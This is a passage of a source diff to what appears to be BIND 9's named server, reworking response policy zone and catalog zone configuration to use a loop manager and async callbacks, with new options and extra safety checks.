 			*sub_obj = NULL;
 		}
 	}
@@ -2238,7 +2165,8 @@ conf_dnsrps(dns_view_t *view, const cfg_obj_t **maps, bool nsip_enabled,
 	 * statement in the view and the general options.
 	 */
 	if (conf_dnsrps_get(&obj, maps, rpz_obj, "dnsrps-options", &ctx) &&
-	    obj != NULL) {
+	    obj != NULL)
+	{
 		conf_dnsrps_sadd(&ctx, " %s\n", cfg_obj_asstring(obj));
 	}
 
@@ -2261,7 +2189,8 @@ configure_rpz_name(dns_view_t *view, const cfg_obj_t *obj, dns_name_t *name,
 		   const char *str, const char *msg) {
 	isc_result_t result;
 
-	result = dns_name_fromstring(name, str, DNS_NAME_DOWNCASE, view->mctx);
+	result = dns_name_fromstring(name, str, dns_rootname, DNS_NAME_DOWNCASE,
+				     view->mctx);
 	if (result != ISC_R_SUCCESS) {
 		cfg_obj_log(obj, named_g_lctx, DNS_RPZ_ERROR_LEVEL,
 			    "invalid %s '%s'", msg, str);
@@ -2274,8 +2203,8 @@ configure_rpz_name2(dns_view_t *view, const cfg_obj_t *obj, dns_name_t *name,
 		    const char *str, const dns_name_t *origin) {
 	isc_result_t result;
 
-	result = dns_name_fromstring2(name, str, origin, DNS_NAME_DOWNCASE,
-				      view->mctx);
+	result = dns_name_fromstring(name, str, origin, DNS_NAME_DOWNCASE,
+				     view->mctx);
 	if (result != ISC_R_SUCCESS) {
 		cfg_obj_log(obj, named_g_lctx, DNS_RPZ_ERROR_LEVEL,
 			    "invalid zone '%s'", str);
@@ -2315,7 +2244,8 @@ configure_rpz_zone(dns_view_t *view, const cfg_listelt_t *element,
 
 	obj = cfg_tuple_get(rpz_obj, "recursive-only");
 	if (cfg_obj_isvoid(obj) ? recursive_only_default
-				: cfg_obj_asboolean(obj)) {
+				: cfg_obj_asboolean(obj))
+	{
 		view->rpzs->p.no_rd_ok &= ~DNS_RPZ_ZBIT(zone->num);
 	} else {
 		view->rpzs->p.no_rd_ok |= DNS_RPZ_ZBIT(zone->num);
@@ -2334,6 +2264,9 @@ configure_rpz_zone(dns_view_t *view, const cfg_listelt_t *element,
 	} else {
 		zone->max_policy_ttl = ttl_default;
 	}
+	if (*old_rpz_okp && zone->max_policy_ttl != old->max_policy_ttl) {
+		*old_rpz_okp = false;
+	}
 
 	obj = cfg_tuple_get(rpz_obj, "min-update-interval");
 	if (cfg_obj_isduration(obj)) {
@@ -2341,8 +2274,9 @@ configure_rpz_zone(dns_view_t *view, const cfg_listelt_t *element,
 	} else {
 		zone->min_update_interval = minupdateinterval_default;
 	}
-
-	if (*old_rpz_okp && zone->max_policy_ttl != old->max_policy_ttl) {
+	if (*old_rpz_okp &&
+	    zone->min_update_interval != old->min_update_interval)
+	{
 		*old_rpz_okp = false;
 	}
 
@@ -2358,9 +2292,11 @@ configure_rpz_zone(dns_view_t *view, const cfg_listelt_t *element,
 	}
 	if (!view->rpzs->p.dnsrps_enabled) {
 		for (rpz_num = 0; rpz_num < view->rpzs->p.num_zones - 1;
-		     ++rpz_num) {
+		     ++rpz_num)
+		{
 			if (dns_name_equal(&view->rpzs->zones[rpz_num]->origin,
-					   &zone->origin)) {
+					   &zone->origin))
+			{
 				cfg_obj_log(rpz_obj, named_g_lctx,
 					    DNS_RPZ_ERROR_LEVEL,
 					    "duplicate '%s'", str);
@@ -2437,18 +2373,33 @@ configure_rpz_zone(dns_view_t *view, const cfg_listelt_t *element,
 		*old_rpz_okp = false;
 	}
 
+	obj = cfg_tuple_get(rpz_obj, "ede");
+	if (!cfg_obj_isstring(obj)) {
+		zone->ede = 0;
+	} else {
+		str = cfg_obj_asstring(obj);
+		zone->ede = dns_rpz_str2ede(str);
+		INSIST(zone->ede != UINT16_MAX);
+	}
+	if (*old_rpz_okp && zone->ede != old->ede) {
+		*old_rpz_okp = false;
+	}
+
 	obj = cfg_tuple_get(rpz_obj, "add-soa");
 	if (cfg_obj_isvoid(obj)) {
 		zone->addsoa = add_soa_default;
 	} else {
 		zone->addsoa = cfg_obj_asboolean(obj);
 	}
+	if (*old_rpz_okp && zone->addsoa != old->addsoa) {
+		*old_rpz_okp = false;
+	}
 
 	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
+configure_rpz(dns_view_t *view, dns_view_t *pview, const cfg_obj_t **maps,
 	      const cfg_obj_t *rpz_obj, bool *old_rpz_okp) {
 	bool dnsrps_enabled;
 	const cfg_listelt_t *zone_element;
@@ -2462,7 +2413,7 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 	uint32_t minupdateinterval_default;
 	dns_rpz_zones_t *zones;
 	const dns_rpz_zones_t *old;
-	dns_view_t *pview;
+	bool pview_must_detach = false;
 	const dns_rpz_zone_t *old_zone;
 	isc_result_t result;
 	int i;
@@ -2533,9 +2484,8 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 	}
 #endif /* ifndef USE_DNSRPS */
 
-	result = dns_rpz_new_zones(&view->rpzs, rps_cstr, rps_cstr_size,
-				   view->mctx, named_g_taskmgr,
-				   named_g_timermgr);
+	result = dns_rpz_new_zones(view->mctx, named_g_loopmgr, rps_cstr,
+				   rps_cstr_size, &view->rpzs);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -2608,14 +2558,19 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 		zones->p.nsip_wait_recurse = false;
 	}
 
-	pview = NULL;
-	result = dns_viewlist_find(&named_g_server->viewlist, view->name,
-				   view->rdclass, &pview);
-	if (result == ISC_R_SUCCESS) {
+	if (pview != NULL) {
 		old = pview->rpzs;
 	} else {
-		old = NULL;
+		result = dns_viewlist_find(&named_g_server->viewlist,
+					   view->name, view->rdclass, &pview);
+		if (result == ISC_R_SUCCESS) {
+			pview_must_detach = true;
+			old = pview->rpzs;
+		} else {
+			old = NULL;
+		}
 	}
+
 	if (old == NULL) {
 		*old_rpz_okp = false;
 	} else {
@@ -2637,7 +2592,7 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 			add_soa_default, ttl_default, minupdateinterval_default,
 			old_zone, old_rpz_okp);
 		if (result != ISC_R_SUCCESS) {
-			if (pview != NULL) {
+			if (pview_must_detach) {
 				dns_view_detach(&pview);
 			}
 			return (result);
@@ -2651,10 +2606,12 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 	 */
 	if (*old_rpz_okp) {
 		if (old != NULL &&
-		    memcmp(&old->p, &zones->p, sizeof(zones->p)) != 0) {
+		    memcmp(&old->p, &zones->p, sizeof(zones->p)) != 0)
+		{
 			*old_rpz_okp = false;
 		} else if ((old == NULL || old->rps_cstr == NULL) !=
-			   (zones->rps_cstr == NULL)) {
+			   (zones->rps_cstr == NULL))
+		{
 			*old_rpz_okp = false;
 		} else if (old != NULL && zones->rps_cstr != NULL &&
 			   strcmp(old->rps_cstr, zones->rps_cstr) != 0)
@@ -2664,8 +2621,10 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 	}
 
 	if (*old_rpz_okp) {
+		dns_rpz_shutdown_rpzs(view->rpzs);
 		dns_rpz_detach_rpzs(&view->rpzs);
 		dns_rpz_attach_rpzs(pview->rpzs, &view->rpzs);
+		dns_rpz_detach_rpzs(&pview->rpzs);
 	} else if (old != NULL && pview != NULL) {
 		++pview->rpzs->rpz_ver;
 		view->rpzs->rpz_ver = pview->rpzs->rpz_ver;
@@ -2674,7 +2633,7 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 			    view->rpzs->rpz_ver);
 	}
 
-	if (pview != NULL) {
+	if (pview_must_detach) {
 		dns_view_detach(&pview);
 	}
 
@@ -2682,19 +2641,21 @@ configure_rpz(dns_view_t *view, const cfg_obj_t **maps,
 }
 
 static void
-catz_addmodzone_taskaction(isc_task_t *task, isc_event_t *event0) {
-	catz_chgzone_event_t *ev = (catz_chgzone_event_t *)event0;
+catz_addmodzone_cb(void *arg) {
+	catz_chgzone_t *cz = (catz_chgzone_t *)arg;
 	isc_result_t result;
+	dns_forwarders_t *dnsforwarders = NULL;
+	dns_name_t *name = NULL;
 	isc_buffer_t namebuf;
-	isc_buffer_t *confbuf;
+	isc_buffer_t *confbuf = NULL;
 	char nameb[DNS_NAME_FORMATSIZE];
 	const cfg_obj_t *zlist = NULL;
 	cfg_obj_t *zoneconf = NULL;
 	cfg_obj_t *zoneobj = NULL;
-	ns_cfgctx_t *cfg;
+	ns_cfgctx_t *cfg = NULL;
 	dns_zone_t *zone = NULL;
 
-	cfg = (ns_cfgctx_t *)ev->view->new_zone_config;
+	cfg = (ns_cfgctx_t *)cz->view->new_zone_config;
 	if (cfg == NULL) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
@@ -2703,72 +2664,105 @@ catz_addmodzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 		goto cleanup;
 	}
 
+	name = dns_catz_entry_getname(cz->entry);
+
 	isc_buffer_init(&namebuf, nameb, DNS_NAME_FORMATSIZE);
-	dns_name_totext(dns_catz_entry_getname(ev->entry), true, &namebuf);
+	dns_name_totext(name, DNS_NAME_OMITFINALDOT, &namebuf);
 	isc_buffer_putuint8(&namebuf, 0);
 
-	/* Zone shouldn't already exist */
-	result = dns_zt_find(ev->view->zonetable,
-			     dns_catz_entry_getname(ev->entry), 0, NULL, &zone);
+	result = dns_fwdtable_find(cz->view->fwdtable, name, &dnsforwarders);
+	if (result == ISC_R_SUCCESS &&
+	    dnsforwarders->fwdpolicy == dns_fwdpolicy_only)
+	{
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
+			      "catz: catz_addmodzone_cb: "
+			      "zone '%s' will not be processed because of the "
+			      "explicitly configured forwarding for that zone",
+			      nameb);
+		goto cleanup;
+	}
+
+	result = dns_view_findzone(cz->view, name, DNS_ZTFIND_EXACT, &zone);
+
+	if (cz->mod) {
+		dns_catz_zone_t *parentcatz;
 
-	if (ev->mod) {
 		if (result != ISC_R_SUCCESS) {
 			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 				      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
 				      "catz: error \"%s\" while trying to "
-				      "modify zone \"%s\"",
+				      "modify zone '%s'",
 				      isc_result_totext(result), nameb);
 			goto cleanup;
-		} else {
-			if (!dns_zone_getadded(zone)) {
+		}
+
+		if (!dns_zone_getadded(zone)) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
+				      "catz: catz_addmodzone_cb: "
+				      "zone '%s' is not a dynamically "
+				      "added zone",
+				      nameb);
+			goto cleanup;
+		}
+
+		parentcatz = dns_zone_get_parentcatz(zone);
+
+		if (parentcatz == NULL) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
+				      "catz: catz_addmodzone_cb: "
+				      "zone '%s' exists and is not added by "
+				      "a catalog zone, so won't be modified",
+				      nameb);
+			goto cleanup;
+		}
+		if (parentcatz != cz->origin) {
+			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
+				      "catz: catz_addmodzone_cb: "
+				      "zone '%s' exists in multiple "
+				      "catalog zones",
+				      nameb);
+			goto cleanup;
+		}
+
+		dns_zone_detach(&zone);
+	} else {
+		/* Zone shouldn't already exist when adding */
+		if (result == ISC_R_SUCCESS) {
+			if (dns_zone_get_parentcatz(zone) == NULL) {
 				isc_log_write(
 					named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 					NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
 					"catz: "
-					"catz_addmodzone_taskaction: "
-					"zone '%s' is not a dynamically "
-					"added zone",
+					"catz_addmodzone_cb: "
+					"zone '%s' will not be added "
+					"because it is an explicitly "
+					"configured zone",
 					nameb);
-				goto cleanup;
-			}
-			if (dns_zone_get_parentcatz(zone) != ev->origin) {
+			} else {
 				isc_log_write(
 					named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 					NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-					"catz: catz_delzone_taskaction: "
-					"zone '%s' exists in multiple "
-					"catalog zones",
+					"catz: "
+					"catz_addmodzone_cb: "
+					"zone '%s' will not be added "
+					"because another catalog zone "
+					"already contains an entry with "
+					"that zone",
 					nameb);
-				goto cleanup;
 			}
-			dns_zone_detach(&zone);
-		}
-	} else {
-		if (result == ISC_R_SUCCESS) {
-			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-				      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-				      "catz: zone \"%s\" is overridden "
-				      "by explicitly configured zone",
-				      nameb);
-			goto cleanup;
-		} else if (result != ISC_R_NOTFOUND &&
-			   result != DNS_R_PARTIALMATCH) {
-			isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-				      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-				      "catz: error \"%s\" while trying to "
-				      "add zone \"%s\"",
-				      isc_result_totext(result), nameb);
 			goto cleanup;
-		} else { /* this can happen in case of DNS_R_PARTIALMATCH */
-			if (zone != NULL) {
-				dns_zone_detach(&zone);
-			}
+		} else {
+			RUNTIME_CHECK(result == ISC_R_NOTFOUND);
 		}
 	}
 	RUNTIME_CHECK(zone == NULL);
 	/* Create a config for new zone */
 	confbuf = NULL;
-	result = dns_catz_generate_zonecfg(ev->origin, ev->entry, &confbuf);
+	result = dns_catz_generate_zonecfg(cz->origin, cz->entry, &confbuf);
 	if (result == ISC_R_SUCCESS) {
 		cfg_parser_reset(cfg->add_parser);
 		result = cfg_parse_buffer(cfg->add_parser, confbuf, "catz", 0,
@@ -2783,7 +2777,7 @@ catz_addmodzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
 			      "catz: error \"%s\" while trying to generate "
-			      "config for zone \"%s\"",
+			      "config for zone '%s'",
 			      isc_result_totext(result), nameb);
 		goto cleanup;
 	}
@@ -2797,27 +2791,25 @@ catz_addmodzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 
 	/* Mark view unfrozen so that zone can be added */
 
-	result = isc_task_beginexclusive(task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	dns_view_thaw(ev->view);
-	result = configure_zone(
-		cfg->config, zoneobj, cfg->vconfig, ev->cbd->server->mctx,
-		ev->view, &ev->cbd->server->viewlist,
-		&ev->cbd->server->kasplist, cfg->actx, true, false, ev->mod);
-	dns_view_freeze(ev->view);
-	isc_task_endexclusive(task);
+	isc_loopmgr_pause(named_g_loopmgr);
+	dns_view_thaw(cz->view);
+	result = configure_zone(cfg->config, zoneobj, cfg->vconfig, cz->view,
+				&cz->cbd->server->viewlist,
+				&cz->cbd->server->kasplist, cfg->actx, true,
+				false, cz->mod);
+	dns_view_freeze(cz->view);
+	isc_loopmgr_resume(named_g_loopmgr);
 
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "catz: failed to configure zone \"%s\" - %d",
-			      nameb, result);
+			      "catz: failed to configure zone '%s' - %d", nameb,
+			      result);
 		goto cleanup;
 	}
 
 	/* Is it there yet? */
-	CHECK(dns_zt_find(ev->view->zonetable,
-			  dns_catz_entry_getname(ev->entry), 0, NULL, &zone));
+	CHECK(dns_view_findzone(cz->view, name, DNS_ZTFIND_EXACT, &zone));
 
 	/*
 	 * Load the zone from the master file.	If this fails, we'll
@@ -2839,13 +2831,13 @@ catz_addmodzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 		}
 
 		/* Remove the zone from the zone table */
-		dns_zt_unmount(ev->view->zonetable, zone);
+		dns_view_delzone(cz->view, zone);
 		goto cleanup;
 	}
 
 	/* Flag the zone as having been added at runtime */
 	dns_zone_setadded(zone, true);
-	dns_zone_set_parentcatz(zone, ev->origin);
+	dns_zone_set_parentcatz(zone, cz->origin);
 
 cleanup:
 	if (zone != NULL) {
@@ -2854,32 +2846,34 @@ catz_addmodzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 	if (zoneconf != NULL) {
 		cfg_obj_destroy(cfg->add_parser, &zoneconf);
 	}
-	dns_catz_entry_detach(ev->origin, &ev->entry);
-	dns_catz_zone_detach(&ev->origin);
-	dns_view_detach(&ev->view);
-	isc_event_free(ISC_EVENT_PTR(&ev));
+	if (dnsforwarders != NULL) {
+		dns_forwarders_detach(&dnsforwarders);
+	}
+	dns_catz_entry_detach(cz->origin, &cz->entry);
+	dns_catz_zone_detach(&cz->origin);
+	dns_view_detach(&cz->view);
+	isc_mem_putanddetach(&cz->mctx, cz, sizeof(*cz));
 }
 
 static void
-catz_delzone_taskaction(isc_task_t *task, isc_event_t *event0) {
-	catz_chgzone_event_t *ev = (catz_chgzone_event_t *)event0;
+catz_delzone_cb(void *arg) {
+	catz_chgzone_t *cz = (catz_chgzone_t *)arg;
 	isc_result_t result;
 	dns_zone_t *zone = NULL;
 	dns_db_t *dbp = NULL;
 	char cname[DNS_NAME_FORMATSIZE];
-	const char *file;
+	const char *file = NULL;
 
-	result = isc_task_beginexclusive(task);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	isc_loopmgr_pause(named_g_loopmgr);
 
-	dns_name_format(dns_catz_entry_getname(ev->entry), cname,
+	dns_name_format(dns_catz_entry_getname(cz->entry), cname,
 			DNS_NAME_FORMATSIZE);
-	result = dns_zt_find(ev->view->zonetable,
-			     dns_catz_entry_getname(ev->entry), 0, NULL, &zone);
+	result = dns_view_findzone(cz->view, dns_catz_entry_getname(cz->entry),
+				   DNS_ZTFIND_EXACT, &zone);
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "catz: catz_delzone_taskaction: "
+			      "catz: catz_delzone_cb: "
 			      "zone '%s' not found",
 			      cname);
 		goto cleanup;
@@ -2888,16 +2882,16 @@ catz_delzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 	if (!dns_zone_getadded(zone)) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "catz: catz_delzone_taskaction: "
+			      "catz: catz_delzone_cb: "
 			      "zone '%s' is not a dynamically added zone",
 			      cname);
 		goto cleanup;
 	}
 
-	if (dns_zone_get_parentcatz(zone) != ev->origin) {
+	if (dns_zone_get_parentcatz(zone) != cz->origin) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-			      "catz: catz_delzone_taskaction: zone "
+			      "catz: catz_delzone_cb: zone "
 			      "'%s' exists in multiple catalog zones",
 			      cname);
 		goto cleanup;
@@ -2909,109 +2903,121 @@ catz_delzone_taskaction(isc_task_t *task, isc_event_t *event0) {
 		dns_zone_unload(zone);
 	}
 
-	CHECK(dns_zt_unmount(ev->view->zonetable, zone));
+	CHECK(dns_view_delzone(cz->view, zone));
 	file = dns_zone_getfile(zone);
 	if (file != NULL) {
 		isc_file_remove(file);
+		file = dns_zone_getjournal(zone);
+		if (file != NULL) {
+			isc_file_remove(file);
+		}
 	}
 
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_WARNING,
-		      "catz: catz_delzone_taskaction: "
+		      "catz: catz_delzone_cb: "
 		      "zone '%s' deleted",
 		      cname);
 cleanup:
-	isc_task_endexclusive(task);
+	isc_loopmgr_resume(named_g_loopmgr);
 	if (zone != NULL) {
 		dns_zone_detach(&zone);
 	}
-	dns_catz_entry_detach(ev->origin, &ev->entry);
-	dns_catz_zone_detach(&ev->origin);
-	dns_view_detach(&ev->view);
-	isc_event_free(ISC_EVENT_PTR(&ev));
+	dns_catz_entry_detach(cz->origin, &cz->entry);
+	dns_catz_zone_detach(&cz->origin);
+	dns_view_detach(&cz->view);
+	isc_mem_putanddetach(&cz->mctx, cz, sizeof(*cz));
 }
 
 static isc_result_t
-catz_create_chg_task(dns_catz_entry_t *entry, dns_catz_zone_t *origin,
-		     dns_view_t *view, isc_taskmgr_t *taskmgr, void *udata,
-		     isc_eventtype_t type) {
-	catz_chgzone_event_t *event;
-	isc_task_t *task;
-	isc_result_t result;
-	isc_taskaction_t action = NULL;
+catz_run(dns_catz_entry_t *entry, dns_catz_zone_t *origin, dns_view_t *view,
+	 void *udata, catz_type_t type) {
+	catz_chgzone_t *cz = NULL;
+	isc_job_cb action = NULL;
 
 	switch (type) {
-	case DNS_EVENT_CATZADDZONE:
-	case DNS_EVENT_CATZMODZONE:
-		action = catz_addmodzone_taskaction;
+	case CATZ_ADDZONE:
+	case CATZ_MODZONE:
+		action = catz_addmodzone_cb;
 		break;
-	case DNS_EVENT_CATZDELZONE:
-		action = catz_delzone_taskaction;
+	case CATZ_DELZONE:
+		action = catz_delzone_cb;
 		break;
 	default:
 		REQUIRE(0);
+		UNREACHABLE();
 	}
 
-	event = (catz_chgzone_event_t *)isc_event_allocate(
-		view->mctx, origin, type, action, NULL, sizeof(*event));
+	cz = isc_mem_get(view->mctx, sizeof(*cz));
+	*cz = (catz_chgzone_t){
+		.cbd = (catz_cb_data_t *)udata,
+		.mod = (type == CATZ_MODZONE),
+	};
+	isc_mem_attach(view->mctx, &cz->mctx);
 
-	event->cbd = (catz_cb_data_t *)udata;
-	event->entry = NULL;
-	event->origin = NULL;
-	event->view = NULL;
-	event->mod = (type == DNS_EVENT_CATZMODZONE);
-	dns_catz_entry_attach(entry, &event->entry);
-	dns_catz_zone_attach(origin, &event->origin);
-	dns_view_attach(view, &event->view);
+	dns_catz_entry_attach(entry, &cz->entry);
+	dns_catz_zone_attach(origin, &cz->origin);
+	dns_view_attach(view, &cz->view);
 
-	task = NULL;
-	result = isc_taskmgr_excltask(taskmgr, &task);
-	REQUIRE(result == ISC_R_SUCCESS);
-	isc_task_send(task, ISC_EVENT_PTR(&event));
-	isc_task_detach(&task);
+	isc_async_run(named_g_mainloop, action, cz);
 
 	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
 catz_addzone(dns_catz_entry_t *entry, dns_catz_zone_t *origin, dns_view_t *view,
-	     isc_taskmgr_t *taskmgr, void *udata) {
-	return (catz_create_chg_task(entry, origin, view, taskmgr, udata,
-				     DNS_EVENT_CATZADDZONE));
+	     void *udata) {
+	return (catz_run(entry, origin, view, udata, CATZ_ADDZONE));
 }
 
 static isc_result_t
 catz_delzone(dns_catz_entry_t *entry, dns_catz_zone_t *origin, dns_view_t *view,
-	     isc_taskmgr_t *taskmgr, void *udata) {
-	return (catz_create_chg_task(entry, origin, view, taskmgr, udata,
-				     DNS_EVENT_CATZDELZONE));
+	     void *udata) {
+	return (catz_run(entry, origin, view, udata, CATZ_DELZONE));
 }
 
 static isc_result_t
 catz_modzone(dns_catz_entry_t *entry, dns_catz_zone_t *origin, dns_view_t *view,
-	     isc_taskmgr_t *taskmgr, void *udata) {
-	return (catz_create_chg_task(entry, origin, view, taskmgr, udata,
-				     DNS_EVENT_CATZMODZONE));
+	     void *udata) {
+	return (catz_run(entry, origin, view, udata, CATZ_MODZONE));
+}
+
+static void
+catz_changeview(dns_catz_entry_t *entry, void *arg1, void *arg2) {
+	dns_view_t *pview = arg1;
+	dns_view_t *view = arg2;
+
+	dns_zone_t *zone = NULL;
+	isc_result_t result = dns_view_findzone(
+		pview, dns_catz_entry_getname(entry), DNS_ZTFIND_EXACT, &zone);
+
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+
+	dns_zone_setview(zone, view);
+	dns_view_addzone(view, zone);
+
+	dns_zone_detach(&zone);
 }
 
 static isc_result_t
-configure_catz_zone(dns_view_t *view, const cfg_obj_t *config,
-		    const cfg_listelt_t *element) {
+configure_catz_zone(dns_view_t *view, dns_view_t *pview,
+		    const cfg_obj_t *config, const cfg_listelt_t *element) {
 	const cfg_obj_t *catz_obj, *obj;
 	dns_catz_zone_t *zone = NULL;
 	const char *str;
 	isc_result_t result;
 	dns_name_t origin;
 	dns_catz_options_t *opts;
-	dns_view_t *pview = NULL;
 
 	dns_name_init(&origin, NULL);
 	catz_obj = cfg_listelt_value(element);
 
 	str = cfg_obj_asstring(cfg_tuple_get(catz_obj, "zone name"));
 
-	result = dns_name_fromstring(&origin, str, DNS_NAME_DOWNCASE,
-				     view->mctx);
+	result = dns_name_fromstring(&origin, str, dns_rootname,
+				     DNS_NAME_DOWNCASE, view->mctx);
 	if (result == ISC_R_SUCCESS && dns_name_equal(&origin, dns_rootname)) {
 		result = DNS_R_EMPTYLABEL;
 	}
@@ -3022,79 +3028,26 @@ configure_catz_zone(dns_view_t *view, const cfg_obj_t *config,
 		goto cleanup;
 	}
 
-	result = dns_catz_add_zone(view->catzs, &origin, &zone);
-	if (result != ISC_R_SUCCESS && result != ISC_R_EXISTS) {
-		cfg_obj_log(catz_obj, named_g_lctx, DNS_CATZ_ERROR_LEVEL,
-			    "catz: unable to create catalog zone '%s', "
-			    "error %s",
-			    str, isc_result_totext(result));
-		goto cleanup;
-	}
-
+	result = dns_catz_zone_add(view->catzs, &origin, &zone);
 	if (result == ISC_R_EXISTS) {
-		isc_ht_iter_t *it = NULL;
-
-		result = dns_viewlist_find(&named_g_server->viewlist,
-					   view->name, view->rdclass, &pview);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-		/*
-		 * xxxwpk todo: reconfigure the zone!!!!
-		 */
-		cfg_obj_log(catz_obj, named_g_lctx, DNS_CATZ_ERROR_LEVEL,
-			    "catz: catalog zone '%s' will not be reconfigured",
-			    str);
 		/*
-		 * We have to walk through all the member zones and attach
+		 * We have to walk through all the member zones and re-attach
 		 * them to current view
 		 */
-		result = dns_catz_get_iterator(zone, &it);
-		if (result != ISC_R_SUCCESS) {
-			cfg_obj_log(catz_obj, named_g_lctx,
-				    DNS_CATZ_ERROR_LEVEL,
-				    "catz: unable to create iterator");
-			goto cleanup;
-		}
-
-		for (result = isc_ht_iter_first(it); result == ISC_R_SUCCESS;
-		     result = isc_ht_iter_next(it))
-		{
-			dns_name_t *name = NULL;
-			dns_zone_t *dnszone = NULL;
-			dns_catz_entry_t *entry = NULL;
-			isc_result_t tresult;
-
-			isc_ht_iter_current(it, (void **)&entry);
-			name = dns_catz_entry_getname(entry);
-
-			tresult = dns_view_findzone(pview, name, &dnszone);
-			RUNTIME_CHECK(tresult == ISC_R_SUCCESS);
-
-			dns_zone_setview(dnszone, view);
-			dns_view_addzone(view, dnszone);
-
-			/*
-			 * The dns_view_findzone() call above increments the
-			 * zone's reference count, which we need to decrement
-			 * back.  However, as dns_zone_detach() sets the
-			 * supplied pointer to NULL, calling it is deferred
-			 * until the dnszone variable is no longer used.
-			 */
-			dns_zone_detach(&dnszone);
-		}
-
-		isc_ht_iter_destroy(&it);
-
-		result = ISC_R_SUCCESS;
+		dns_catz_zone_for_each_entry2(zone, catz_changeview, pview,
+					      view);
 	}
 
 	dns_catz_zone_resetdefoptions(zone);
 	opts = dns_catz_zone_getdefoptions(zone);
 
 	obj = cfg_tuple_get(catz_obj, "default-masters");
+	if (obj == NULL || !cfg_obj_istuple(obj)) {
+		obj = cfg_tuple_get(catz_obj, "default-primaries");
+	}
 	if (obj != NULL && cfg_obj_istuple(obj)) {
-		result = named_config_getipandkeylist(config, obj, view->mctx,
-						      &opts->masters);
+		result = named_config_getipandkeylist(
+			config, "primaries", obj, view->mctx, &opts->masters);
 	}
 
 	obj = cfg_tuple_get(catz_obj, "in-memory");
@@ -3122,9 +3075,6 @@ configure_catz_zone(dns_view_t *view, const cfg_obj_t *config,
 	}
 
 cleanup:
-	if (pview != NULL) {
-		dns_view_detach(&pview);
-	}
 	dns_name_free(&origin, view->mctx);
 
 	return (result);
@@ -3136,11 +3086,11 @@ static dns_catz_zonemodmethods_t ns_catz_zonemodmethods = {
 };
 
 static isc_result_t
-configure_catz(dns_view_t *view, const cfg_obj_t *config,
+configure_catz(dns_view_t *view, dns_view_t *pview, const cfg_obj_t *config,
 	       const cfg_obj_t *catz_obj) {
-	const cfg_listelt_t *zone_element;
+	const cfg_listelt_t *zone_element = NULL;
 	const dns_catz_zones_t *old = NULL;
-	dns_view_t *pview = NULL;
+	bool pview_must_detach = false;
 	isc_result_t result;
 
 	/* xxxwpk TODO do it cleaner, once, somewhere */
@@ -3151,24 +3101,28 @@ configure_catz(dns_view_t *view, const cfg_obj_t *config,
 		return (ISC_R_SUCCESS);
 	}
 
-	CHECK(dns_catz_new_zones(&view->catzs, &ns_catz_zonemodmethods,
-				 view->mctx, named_g_taskmgr,
-				 named_g_timermgr));
-
-	result = dns_viewlist_find(&named_g_server->viewlist, view->name,
-				   view->rdclass, &pview);
-	if (result == ISC_R_SUCCESS) {
+	if (pview != NULL) {
 		old = pview->catzs;
+	} else {
+		result = dns_viewlist_find(&named_g_server->viewlist,
+					   view->name, view->rdclass, &pview);
+		if (result == ISC_R_SUCCESS) {
+			pview_must_detach = true;
+			old = pview->catzs;
+		}
 	}
 
 	if (old != NULL) {
-		dns_catz_catzs_detach(&view->catzs);
